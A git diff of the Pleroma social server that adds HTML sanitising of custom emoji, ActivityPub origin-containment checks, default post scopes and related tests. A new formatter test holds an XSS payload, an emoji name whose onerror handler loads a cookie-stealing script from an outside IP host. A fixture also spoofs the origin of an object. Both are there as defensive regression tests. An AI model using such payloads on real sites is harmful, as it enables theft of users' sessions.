diff options
| -rw-r--r-- | config/config.exs | 3 | ||||
| -rw-r--r-- | lib/pleroma/formatter.ex | 1 | ||||
| -rw-r--r-- | lib/pleroma/user.ex | 3 | ||||
| -rw-r--r-- | lib/pleroma/web/activity_pub/activity_pub.ex | 1 | ||||
| -rw-r--r-- | lib/pleroma/web/activity_pub/transmogrifier.ex | 14 | ||||
| -rw-r--r-- | lib/pleroma/web/mastodon_api/mastodon_api_controller.ex | 40 | ||||
| -rw-r--r-- | lib/pleroma/web/mastodon_api/views/account_view.ex | 2 | ||||
| -rw-r--r-- | lib/pleroma/web/twitter_api/controllers/util_controller.ex | 57 | ||||
| -rw-r--r-- | lib/pleroma/web/twitter_api/views/activity_view.ex | 3 | ||||
| -rw-r--r-- | test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json | 14 | ||||
| -rw-r--r-- | test/formatter_test.exs | 17 | ||||
| -rw-r--r-- | test/support/httpoison_mock.ex | 8 | ||||
| -rw-r--r-- | test/web/activity_pub/transmogrifier_test.exs | 21 | ||||
| -rw-r--r-- | test/web/mastodon_api/mastodon_api_controller_test.exs | 26 | ||||
| -rw-r--r-- | test/web/twitter_api/representers/activity_representer_test.exs | 2 | ||||
| -rw-r--r-- | test/web/twitter_api/views/activity_view_test.exs | 27 | ||||
| -rw-r--r-- | test/web/twitter_api/views/user_view_test.exs | 2 | 
17 files changed, 180 insertions, 61 deletions
diff --git a/config/config.exs b/config/config.exs index e22363519..b29300c3c 100644 --- a/config/config.exs +++ b/config/config.exs @@ -70,7 +70,8 @@ config :pleroma, :instance,    allow_relay: true,    rewrite_policy: Pleroma.Web.ActivityPub.MRF.NoOpPolicy,    public: true, -  quarantined_instances: [] +  quarantined_instances: [], +  managed_config: true  config :pleroma, :fe,    theme: "pleroma-dark", diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex index e5ccc7a49..2b4c3c2aa 100644 --- a/lib/pleroma/formatter.ex +++ b/lib/pleroma/formatter.ex @@ -154,6 +154,7 @@ defmodule Pleroma.Formatter do            MediaProxy.url(file)          }' />"        ) +      |> HtmlSanitizeEx.basic_html()      end)    end diff --git a/lib/pleroma/user.ex b/lib/pleroma/user.ex index fca490cb1..64c69b209 100644 --- a/lib/pleroma/user.ex +++ b/lib/pleroma/user.ex @@ -68,7 +68,8 @@ defmodule Pleroma.User do        following_count: length(user.following) - oneself,        note_count: user.info["note_count"] || 0,        follower_count: user.info["follower_count"] || 0, -      locked: user.info["locked"] || false +      locked: user.info["locked"] || false, +      default_scope: user.info["default_scope"] || "public"      }    end diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex index e6c2dc9cf..81c11dd76 100644 --- a/lib/pleroma/web/activity_pub/activity_pub.ex +++ b/lib/pleroma/web/activity_pub/activity_pub.ex @@ -747,6 +747,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do               "actor" => data["attributedTo"],               "object" => data             }, +           :ok <- Transmogrifier.contain_origin(id, params),             {:ok, activity} <- Transmogrifier.handle_incoming(params) do          {:ok, Object.normalize(activity.data["object"])}        else diff --git a/lib/pleroma/web/activity_pub/transmogrifier.ex b/lib/pleroma/web/activity_pub/transmogrifier.ex index 1367bc7e3..4a3a82195 100644 --- a/lib/pleroma/web/activity_pub/transmogrifier.ex +++ b/lib/pleroma/web/activity_pub/transmogrifier.ex @@ -31,6 +31,20 @@ defmodule Pleroma.Web.ActivityPub.Transmogrifier do    end    @doc """ +  Checks that an imported AP object's actor matches the domain it came from. +  """ +  def contain_origin(id, %{"actor" => actor} = params) do +    id_uri = URI.parse(id) +    actor_uri = URI.parse(get_actor(params)) + +    if id_uri.host == actor_uri.host do +      :ok +    else +      :error +    end +  end + +  @doc """    Modifies an incoming AP object (mastodon format) to our internal format.    """    def fix_object(object) do diff --git a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex index bd6f04c55..8279db93e 100644 --- a/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex +++ b/lib/pleroma/web/mastodon_api/mastodon_api_controller.ex @@ -654,9 +654,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do      json(conn, %{})    end -  def search2(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do -    accounts = User.search(query, params["resolve"] == "true") - +  def status_search(query) do      fetched =        if Regex.match?(~r/https?:/, query) do          with {:ok, object} <- ActivityPub.fetch_object_from_id(query) do @@ -681,7 +679,13 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do          order_by: [desc: :id]        ) -    statuses = Repo.all(q) ++ fetched +    Repo.all(q) ++ fetched +  end + +  def search2(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do +    accounts = User.search(query, params["resolve"] == "true") + +    statuses = status_search(query)      tags_path = Web.base_url() <> "/tag/" @@ -705,31 +709,7 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do    def search(%{assigns: %{user: user}} = conn, %{"q" => query} = params) do      accounts = User.search(query, params["resolve"] == "true") -    fetched = -      if Regex.match?(~r/https?:/, query) do -        with {:ok, object} <- ActivityPub.fetch_object_from_id(query) do -          [Activity.get_create_activity_by_object_ap_id(object.data["id"])] -        else -          _e -> [] -        end -      end || [] - -    q = -      from( -        a in Activity, -        where: fragment("?->>'type' = 'Create'", a.data), -        where: "https://www.w3.org/ns/activitystreams#Public" in a.recipients, -        where: -          fragment( -            "to_tsvector('english', ?->'object'->>'content') @@ plainto_tsquery('english', ?)", -            a.data, -            ^query -          ), -        limit: 20, -        order_by: [desc: :id] -      ) - -    statuses = Repo.all(q) ++ fetched +    statuses = status_search(query)      tags =        String.split(query) @@ -1050,6 +1030,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do        NaiveDateTime.to_iso8601(created_at)        |> String.replace(~r/(\.\d+)?$/, ".000Z", global: false) +    id = id |> to_string +      case activity.data["type"] do        "Create" ->          %{ diff --git a/lib/pleroma/web/mastodon_api/views/account_view.ex b/lib/pleroma/web/mastodon_api/views/account_view.ex index 133cae3b5..7bc32e688 100644 --- a/lib/pleroma/web/mastodon_api/views/account_view.ex +++ b/lib/pleroma/web/mastodon_api/views/account_view.ex @@ -46,7 +46,7 @@ defmodule Pleroma.Web.MastodonAPI.AccountView do        fields: [],        source: %{          note: "", -        privacy: "public", +        privacy: user_info.default_scope,          sensitive: "false"        }      } diff --git a/lib/pleroma/web/twitter_api/controllers/util_controller.ex b/lib/pleroma/web/twitter_api/controllers/util_controller.ex index 68e9a47b7..886b70f5f 100644 --- a/lib/pleroma/web/twitter_api/controllers/util_controller.ex +++ b/lib/pleroma/web/twitter_api/controllers/util_controller.ex @@ -156,30 +156,39 @@ defmodule Pleroma.Web.TwitterAPI.UtilController do          |> send_resp(200, response)        _ -> -        json(conn, %{ -          site: %{ -            name: Keyword.get(@instance, :name), -            description: Keyword.get(@instance, :description), -            server: Web.base_url(), -            textlimit: to_string(Keyword.get(@instance, :limit)), -            closed: if(Keyword.get(@instance, :registrations_open), do: "0", else: "1"), -            private: if(Keyword.get(@instance, :public, true), do: "0", else: "1"), -            pleromafe: %{ -              theme: Keyword.get(@instance_fe, :theme), -              background: Keyword.get(@instance_fe, :background), -              logo: Keyword.get(@instance_fe, :logo), -              logoMask: Keyword.get(@instance_fe, :logo_mask), -              logoMargin: Keyword.get(@instance_fe, :logo_margin), -              redirectRootNoLogin: Keyword.get(@instance_fe, :redirect_root_no_login), -              redirectRootLogin: Keyword.get(@instance_fe, :redirect_root_login), -              chatDisabled: !Keyword.get(@instance_chat, :enabled), -              showInstanceSpecificPanel: Keyword.get(@instance_fe, :show_instance_panel), -              scopeOptionsEnabled: Keyword.get(@instance_fe, :scope_options_enabled), -              collapseMessageWithSubject: -                Keyword.get(@instance_fe, :collapse_message_with_subject) -            } -          } -        }) +        data = %{ +          name: Keyword.get(@instance, :name), +          description: Keyword.get(@instance, :description), +          server: Web.base_url(), +          textlimit: to_string(Keyword.get(@instance, :limit)), +          closed: if(Keyword.get(@instance, :registrations_open), do: "0", else: "1"), +          private: if(Keyword.get(@instance, :public, true), do: "0", else: "1") +        } + +        pleroma_fe = %{ +          theme: Keyword.get(@instance_fe, :theme), +          background: Keyword.get(@instance_fe, :background), +          logo: Keyword.get(@instance_fe, :logo), +          logoMask: Keyword.get(@instance_fe, :logo_mask), +          logoMargin: Keyword.get(@instance_fe, :logo_margin), +          redirectRootNoLogin: Keyword.get(@instance_fe, :redirect_root_no_login), +          redirectRootLogin: Keyword.get(@instance_fe, :redirect_root_login), +          chatDisabled: !Keyword.get(@instance_chat, :enabled), +          showInstanceSpecificPanel: Keyword.get(@instance_fe, :show_instance_panel), +          scopeOptionsEnabled: Keyword.get(@instance_fe, :scope_options_enabled), +          collapseMessageWithSubject: Keyword.get(@instance_fe, :collapse_message_with_subject) +        } + +        managed_config = Keyword.get(@instance, :managed_config) + +        data = +          if managed_config do +            data |> Map.put("pleromafe", pleroma_fe) +          else +            data +          end + +        json(conn, %{site: data})      end    end diff --git a/lib/pleroma/web/twitter_api/views/activity_view.ex b/lib/pleroma/web/twitter_api/views/activity_view.ex index 55b5287f5..909eefdd8 100644 --- a/lib/pleroma/web/twitter_api/views/activity_view.ex +++ b/lib/pleroma/web/twitter_api/views/activity_view.ex @@ -181,6 +181,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do    def render("activity.json", %{activity: %{data: %{"type" => "Like"}} = activity} = opts) do      user = get_user(activity.data["actor"], opts)      liked_activity = Activity.get_create_activity_by_object_ap_id(activity.data["object"]) +    liked_activity_id = if liked_activity, do: liked_activity.id, else: nil      created_at =        activity.data["published"] @@ -197,7 +198,7 @@ defmodule Pleroma.Web.TwitterAPI.ActivityView do        "is_post_verb" => false,        "uri" => "tag:#{activity.data["id"]}:objectType=Favourite",        "created_at" => created_at, -      "in_reply_to_status_id" => liked_activity.id, +      "in_reply_to_status_id" => liked_activity_id,        "external_url" => activity.data["id"],        "activity_type" => "like"      } diff --git a/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json b/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json new file mode 100644 index 000000000..eab0341fe --- /dev/null +++ b/test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json @@ -0,0 +1,14 @@ +{ +        "@context": "https://www.w3.org/ns/activitystreams", +        "actor": "https://mastodon.example.org/users/admin", +        "attachment": [], +        "attributedTo": "https://mastodon.example.org/users/admin", +        "content": "<p>this post was not actually written by Haelwenn</p>", +        "id": "https://info.pleroma.site/activity.json", +        "published": "2018-09-01T22:15:00Z", +        "tag": [], +        "to": [ +            "https://www.w3.org/ns/activitystreams#Public" +        ], +        "type": "Note" +} diff --git a/test/formatter_test.exs b/test/formatter_test.exs index 4e27efe06..273eefb8a 100644 --- a/test/formatter_test.exs +++ b/test/formatter_test.exs @@ -189,11 +189,26 @@ defmodule Pleroma.FormatterTest do      text = "I love :moominmamma:"      expected_result = -      "I love <img height='32px' width='32px' alt='moominmamma' title='moominmamma' src='/finmoji/128px/moominmamma-128.png' />" +      "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"      assert Formatter.emojify(text) == expected_result    end +  test "it does not add XSS emoji" do +    text = +      "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" + +    custom_emoji = %{ +      "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => +        "https://placehold.it/1x1" +    } + +    expected_result = +      "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />" + +    assert Formatter.emojify(text, custom_emoji) == expected_result +  end +    test "it returns the emoji used in the text" do      text = "I love :moominmamma:" diff --git a/test/support/httpoison_mock.ex b/test/support/httpoison_mock.ex index 4ee2feb95..7057f30fb 100644 --- a/test/support/httpoison_mock.ex +++ b/test/support/httpoison_mock.ex @@ -3,6 +3,14 @@ defmodule HTTPoisonMock do    def get(url, body \\ [], headers \\ []) +  def get("https://info.pleroma.site/activity.json", _, _) do +    {:ok, +     %Response{ +       status_code: 200, +       body: File.read!("test/fixtures/httpoison_mock/https__info.pleroma.site_activity.json") +     }} +  end +    def get("https://puckipedia.com/", [Accept: "application/activity+json"], _) do      {:ok,       %Response{ diff --git a/test/web/activity_pub/transmogrifier_test.exs b/test/web/activity_pub/transmogrifier_test.exs index e2926d495..afa25bb60 100644 --- a/test/web/activity_pub/transmogrifier_test.exs +++ b/test/web/activity_pub/transmogrifier_test.exs @@ -798,4 +798,25 @@ defmodule Pleroma.Web.ActivityPub.TransmogrifierTest do        assert rewritten["url"] == "http://example.com"      end    end + +  describe "actor origin containment" do +    test "it rejects objects with a bogus origin" do +      {:error, _} = ActivityPub.fetch_object_from_id("https://info.pleroma.site/activity.json") +    end + +    test "it rejects activities which reference objects with bogus origins" do +      user = insert(:user, %{local: false}) + +      data = %{ +        "@context" => "https://www.w3.org/ns/activitystreams", +        "id" => user.ap_id <> "/activities/1234", +        "actor" => user.ap_id, +        "to" => ["https://www.w3.org/ns/activitystreams#Public"], +        "object" => "https://info.pleroma.site/activity.json", +        "type" => "Announce" +      } + +      :error = Transmogrifier.handle_incoming(data) +    end +  end  end diff --git a/test/web/mastodon_api/mastodon_api_controller_test.exs b/test/web/mastodon_api/mastodon_api_controller_test.exs index d4ff16c68..60dafcf03 100644 --- a/test/web/mastodon_api/mastodon_api_controller_test.exs +++ b/test/web/mastodon_api/mastodon_api_controller_test.exs @@ -206,7 +206,19 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        |> assign(:user, user)        |> get("/api/v1/accounts/verify_credentials") -    assert %{"id" => id} = json_response(conn, 200) +    assert %{"id" => id, "source" => %{"privacy" => "public"}} = json_response(conn, 200) +    assert id == to_string(user.id) +  end + +  test "verify_credentials default scope unlisted", %{conn: conn} do +    user = insert(:user, %{info: %{"default_scope" => "unlisted"}}) + +    conn = +      conn +      |> assign(:user, user) +      |> get("/api/v1/accounts/verify_credentials") + +    assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)      assert id == to_string(user.id)    end @@ -715,6 +727,18 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIControllerTest do        assert User.following?(other_user, user) == true      end +    test "verify_credentials", %{conn: conn} do +      user = insert(:user, %{info: %{"default_scope" => "private"}}) + +      conn = +        conn +        |> assign(:user, user) +        |> get("/api/v1/accounts/verify_credentials") + +      assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200) +      assert id == to_string(user.id) +    end +      test "/api/v1/follow_requests/:id/reject works" do        user = insert(:user, %{info: %{"locked" => true}})        other_user = insert(:user) diff --git a/test/web/twitter_api/representers/activity_representer_test.exs b/test/web/twitter_api/representers/activity_representer_test.exs index 3f85e028b..894d20049 100644 --- a/test/web/twitter_api/representers/activity_representer_test.exs +++ b/test/web/twitter_api/representers/activity_representer_test.exs @@ -126,7 +126,7 @@ defmodule Pleroma.Web.TwitterAPI.Representers.ActivityRepresenterTest do      }      expected_html = -      "<p>2hu</p>alert('YAY')Some <img height='32px' width='32px' alt='2hu' title='2hu' src='corndog.png' /> content mentioning <a href=\"#{ +      "<p>2hu</p>alert('YAY')Some <img height=\"32px\" width=\"32px\" alt=\"2hu\" title=\"2hu\" src=\"corndog.png\" /> content mentioning <a href=\"#{          mentioned_user.ap_id        }\">@shp</a>" diff --git a/test/web/twitter_api/views/activity_view_test.exs b/test/web/twitter_api/views/activity_view_test.exs index a101e4ae8..b9a8efdad 100644 --- a/test/web/twitter_api/views/activity_view_test.exs +++ b/test/web/twitter_api/views/activity_view_test.exs @@ -126,6 +126,33 @@ defmodule Pleroma.Web.TwitterAPI.ActivityViewTest do      assert result == expected    end +  test "a like activity for deleted post" do +    user = insert(:user) +    other_user = insert(:user, %{nickname: "shp"}) + +    {:ok, activity} = CommonAPI.post(user, %{"status" => "Hey @shp!"}) +    {:ok, like, _object} = CommonAPI.favorite(activity.id, other_user) +    CommonAPI.delete(activity.id, user) + +    result = ActivityView.render("activity.json", activity: like) + +    expected = %{ +      "activity_type" => "like", +      "created_at" => like.data["published"] |> Utils.date_to_asctime(), +      "external_url" => like.data["id"], +      "id" => like.id, +      "in_reply_to_status_id" => nil, +      "is_local" => true, +      "is_post_verb" => false, +      "statusnet_html" => "shp favorited a status.", +      "text" => "shp favorited a status.", +      "uri" => "tag:#{like.data["id"]}:objectType=Favourite", +      "user" => UserView.render("show.json", user: other_user) +    } + +    assert result == expected +  end +    test "an announce activity" do      user = insert(:user)      other_user = insert(:user, %{nickname: "shp"}) diff --git a/test/web/twitter_api/views/user_view_test.exs b/test/web/twitter_api/views/user_view_test.exs index 24a5c5bca..7075a2370 100644 --- a/test/web/twitter_api/views/user_view_test.exs +++ b/test/web/twitter_api/views/user_view_test.exs @@ -22,7 +22,7 @@ defmodule Pleroma.Web.TwitterAPI.UserViewTest do    test "A user with emoji in username", %{user: user} do      expected = -      "<img height='32px' width='32px' alt='karjalanpiirakka' title='karjalanpiirakka' src='/file.png' /> man" +      "<img height=\"32px\" width=\"32px\" alt=\"karjalanpiirakka\" title=\"karjalanpiirakka\" src=\"/file.png\" /> man"      user = %{        user  | 
